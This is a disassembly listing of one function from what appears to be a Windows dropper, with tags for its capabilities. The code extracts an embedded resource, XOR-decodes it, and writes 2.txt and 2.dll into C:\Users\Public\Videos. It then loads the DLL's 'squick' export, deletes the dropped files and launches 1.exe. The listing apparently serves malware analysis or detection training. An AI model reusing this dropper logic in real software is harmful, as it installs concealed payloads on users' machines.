Function at 0x402190
Capabilities:
Check if file exists
Create process on windows
Delete file
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3cc
mov eax, dword [0x472bd0]
xor eax, esp
mov dword [esp + 0x3c8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [esp + 0x18], esi
call fcn.004016c0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
call fcn.004016c0
push 0x3e8
call edi
push 0xe
mov ebx, 0xf
push str.CrazyTuesdayIn
lea ecx, [esp + 0x100]
mov dword [esp + 0x118], ebx
mov dword [esp + 0x114], 0
mov byte [esp + 0x104], 0
call fcn.004033a0
push ebx
push str.CrazyTuesdayOut
lea ecx, [esp + 0x90]
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xa4], 0
mov byte [esp + 0x94], 0
call fcn.004033a0
lea eax, [esp + 0xf8]
push 1
push eax
call fcn.004018c0
lea ecx, [esp + 0x90]
push 2
push ecx
call fcn.004018c0
add esp, 0x10
mov ebx, 4
push 0x3e8
call edi
sub ebx, 1
jne 0x402256
push 0x464eec
push 0x13d
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x40286d
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40286d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [esp + 0x10], eax
test eax, eax
je 0x40286d
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test ebx, ebx
je 0x40286d
lea edx, [esp + 0x1c]
push edx
mov edi, ebx
call fcn.00402d70
mov eax, dword [esp + 0x2c]
mov edi, dword [esp + 0x28]
sub eax, edi
jne 0x4022d3
call fcn.0043c47b
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x10]
push ebx
push ecx
push edi
mov dword [esp + 0x20], edi
call fcn.00444b80
add esp, 0xc
xor eax, eax
test ebx, ebx
jle 0x402301
lea esp, [esp]
mov dl, byte [eax + edi]
sub dl, 0x7a
xor dl, 0x19
mov byte [eax + edi], dl
inc eax
cmp eax, ebx
jl 0x4022f0
mov ecx, 0xb
mov esi, str.C:UsersPublicVideos
lea edi, [esp + 0x130]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0x130]
call fcn.004020c0
push 0
call fcn.0043ca13
add esp, 4
push eax
call fcn.0043c57c
add esp, 4
call fcn.0043c58e
cdq
mov ecx, 0xa
idiv ecx
push edx
call fcn.0043c58e
cdq
mov ecx, 0xa
idiv ecx
push edx
push str._d_d
lea edx, [esp + 0x16c]
call fcn.00404150
add esp, 0xc
xor edx, edx
mov eax, edi
mov word [esp + 0x38], dx
mov dword [esp + 0x4c], 7
mov dword [esp + 0x48], 0
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402381
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x134]
lea esi, [esp + 0x38]
call fcn.004031f0
mov eax, esi
push eax
lea ecx, [esp + 0x54]
push ecx
mov edi, str._study
call fcn.00404170
push eax
lea edx, [esp + 0xb0]
push edx
lea edi, [esp + 0x170]
call fcn.00404170
mov esi, 8
add esp, 0x10
cmp dword [esp + 0x68], esi
jb 0x4023e3
mov eax, dword [esp + 0x54]
push eax
call fcn.0040479e
add esp, 4
xor ecx, ecx
mov dword [esp + 0x68], 7
mov dword [esp + 0x64], 0
mov word [esp + 0x54], cx
cmp dword [esp + 0x4c], esi
jb 0x40240d
mov edx, dword [esp + 0x38]
push edx
call fcn.0040479e
add esp, 4
mov edi, dword [esp + 0xa8]
cmp dword [esp + 0xbc], esi
jae 0x402424
lea edi, [esp + 0xa8]
call fcn.004020c0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0xa4]
push eax
lea ecx, [esp + 0xe0]
push ecx
mov edi, str.2.txt
call fcn.00404170
lea edx, [esp + 0xac]
push edx
lea eax, [esp + 0x78]
push eax
mov edi, str.2.dll
call fcn.00404170
mov eax, dword [esp + 0xf0]
add esp, 0x10
cmp dword [esp + 0xf4], esi
jae 0x40247f
lea eax, [esp + 0xe0]
mov ecx, dword [esp + 0x10]
push ebx
push ecx
call fcn.00402130
mov eax, dword [esp + 0x78]
add esp, 8
cmp dword [esp + 0x84], esi
jae 0x40249e
lea eax, [esp + 0x70]
mov edx, dword [esp + 0x14]
push ebx
push edx
call fcn.00402130
mov eax, dword [esp + 0x78]
add esp, 8
cmp dword [esp + 0x84], esi
jae 0x4024bd
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jne 0x402583
push ebx
push 0x464f88
push 0x464f10
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp dword [esp + 0x84], esi
jb 0x4024f8
mov eax, dword [esp + 0x70]
push eax
call fcn.0040479e
add esp, 4
xor ecx, ecx
mov edi, 7
mov dword [esp + 0x84], edi
mov dword [esp + 0x80], ebx
mov word [esp + 0x70], cx
cmp dword [esp + 0xf4], esi
jb 0x40252b
mov edx, dword [esp + 0xe0]
push edx
call fcn.0040479e
add esp, 4
xor eax, eax
mov dword [esp + 0xf4], edi
mov dword [esp + 0xf0], ebx
mov word [esp + 0xe0], ax
cmp dword [esp + 0xbc], esi
jb 0x40255c
mov ecx, dword [esp + 0xa8]
push ecx
call fcn.0040479e
add esp, 4
lea eax, [esp + 0x1c]
xor edx, edx
push eax
mov dword [esp + 0xc0], edi
mov dword [esp + 0xbc], ebx
mov word [esp + 0xac], dx
call fcn.00402de0
jmp 0x402881
push str.squick
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x402597
call eax
jmp 0x4025a9
push ebx
push 0x464fd8
push 0x464f10
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call ebx
mov eax, dword [esp + 0x70]
cmp dword [esp + 0x84], esi
jae 0x4025ce
lea eax, [esp + 0x70]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push eax
call edi
mov eax, dword [esp + 0x70]
cmp dword [esp + 0x84], esi
jae 0x4025e8
lea eax, [esp + 0x70]
push eax
call edi
push 0x3e8
call ebx
mov ecx, dword [esp + 0x18]
push 0x104
lea eax, [esp + 0x1cc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0x1c8]
push 0x5c
push edx
call fcn.0043c48b
lea ecx, [esp + 0x1d0]
sub eax, ecx
sar eax, 1
inc eax
add esp, 8
xor edx, edx
push eax
mov eax, ecx
lea esi, [esp + 0x118]
mov dword [esp + 0x130], 7
mov dword [esp + 0x12c], 0
mov word [esp + 0x11c], dx
call fcn.004031f0
xor eax, eax
xor edi, edi
push 0xffffffffffffffff
mov word [esp + 0xc8], ax
mov ebx, 7
push edi
mov eax, esi
lea ecx, [esp + 0xc8]
mov dword [esp + 0xe0], ebx
mov dword [esp + 0xdc], edi
call fcn.00403140
push 5
mov eax, str.1.exe
lea ecx, [esp + 0xc4]
call fcn.00403060
mov eax, dword [esp + 0xc4]
mov esi, 8
cmp dword [esp + 0xd8], esi
jae 0x4026b6
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4026e9
mov eax, dword [esp + 0xc4]
cmp dword [esp + 0xd8], esi
jae 0x4026d8
lea eax, [esp + 0xc4]
push 1
push edi
push edi
push eax
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0xf8]
push ecx
call fcn.00401d50
lea edx, [esp + 0x8c]
add esp, 4
push edx
call fcn.00401d50
add esp, 4
call fcn.004017c0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004017c0
cmp dword [esp + 0xd8], esi
jb 0x402742
mov eax, dword [esp + 0xc4]
push eax
call fcn.0040479e
add esp, 4
xor ecx, ecx
mov dword [esp + 0xd8], ebx
mov dword [esp + 0xd4], edi
mov word [esp + 0xc4], cx
cmp dword [esp + 0x12c], esi
jb 0x402773
mov edx, dword [esp + 0x118]
push edx
call fcn.0040479e
add esp, 4
xor eax, eax
mov dword [esp + 0x12c], ebx
mov dword [esp + 0x128], edi
mov word [esp + 0x118], ax
cmp dword [esp + 0x84], esi
jb 0x4027a1
mov ecx, dword [esp + 0x70]
push ecx
call fcn.0040479e
add esp, 4
xor edx, edx
mov dword [esp + 0x84], ebx
mov dword [esp + 0x80], edi
mov word [esp + 0x70], dx
cmp dword [esp + 0xf4], esi
jb 0x4027cf
mov eax, dword [esp + 0xe0]
push eax
call fcn.0040479e
add esp, 4
xor ecx, ecx
mov dword [esp + 0xf4], ebx
mov dword [esp + 0xf0], edi
mov word [esp + 0xe0], cx
cmp dword [esp + 0xbc], esi
jb 0x402800
mov edx, dword [esp + 0xa8]
push edx
call fcn.0040479e
add esp, 4
lea ecx, [esp + 0x1c]
xor eax, eax
push ecx
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xbc], edi
mov word [esp + 0xac], ax
call fcn.00402de0
mov ebx, 0x10
cmp dword [esp + 0xa0], ebx
jb 0x402840
mov edx, dword [esp + 0x8c]
push edx
call fcn.0040479e
add esp, 4
mov dword [esp + 0xa0], 0xf
mov dword [esp + 0x9c], edi
mov byte [esp + 0x8c], 0
cmp dword [esp + 0x110], ebx
jb 0x4028d6
mov eax, dword [esp + 0xfc]
push eax
jmp 0x4028ce
push 0
push 0x464ef4
push 0x464f10
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ebx, 0x10
cmp dword [esp + 0xa0], ebx
jb 0x40289f
mov ecx, dword [esp + 0x8c]
push ecx
call fcn.0040479e
add esp, 4
mov byte [esp + 0x8c], 0
mov dword [esp + 0x9c], 0
mov dword [esp + 0xa0], 0xf
cmp dword [esp + 0x110], ebx
jb 0x4028d6
mov edx, dword [esp + 0xfc]
push edx
call fcn.0040479e
add esp, 4
mov ecx, dword [esp + 0x3d4]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0043bd04
mov esp, ebp
pop ebp
ret 0x10